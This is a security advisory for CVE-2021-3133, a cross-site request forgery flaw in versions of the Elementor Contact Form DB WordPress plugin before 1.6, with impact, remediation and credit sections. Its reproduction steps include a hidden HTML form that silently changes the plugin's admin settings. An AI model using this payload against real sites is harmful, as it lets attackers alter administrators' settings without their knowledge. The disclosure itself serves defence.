Disclosed vulnerabilities
Fixed: Jan 14, 2021
CVE-2021-3133 Published: Jan 14, 2021

CSRF in Elementor-Contact-Form-DB wordpress plugin

8.8 High Severity CSRF wordpress
Yaniv Nizry Reported by Checkmarx Zero

Summary

Affected versions of the “Elementor Contact Form DB” plugin for WordPress are vulnerable to a Cross-Site Request Forgery (CSRF) attack.

Product

Elementor Contact Form DB WordPress plugin before 1.6

Impact

An admins that visits a malicious site could change The Elementor-Contact-Form-DB setting without his/her knowledge.

Steps to reproduce

  1. WordPress with vulnerable Elementor Contact Form DB plugin installed
  2. Admin visits the page:
    
    <html><head></head>
    <body>
    <form style="opacity: 0;" action="http://[site-url]/wp-admin/edit.php?post_type=elementor_cf_db&page=sb_elem_cfd_settings" method="POST">
         <input type="number" name="sb_elem_cfd[disable_admin_nag]" value="1" />
         <input type="text" name="sb_elem_cfd[records_min_role]" value="lfb_role" />
         <input type="text" name="sb_elem_cfd_save" value="Save Settings" />
    <button>submit</button>
    </form>



### Expected result:
Admin setting page will change according to the attacker's input.

Remediation

Update Elementor-Contact-Form-DB to 1.6 or above.

Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher Yaniv Nizry.

Resources

  1. Changeset

Stay connected and never miss a research update!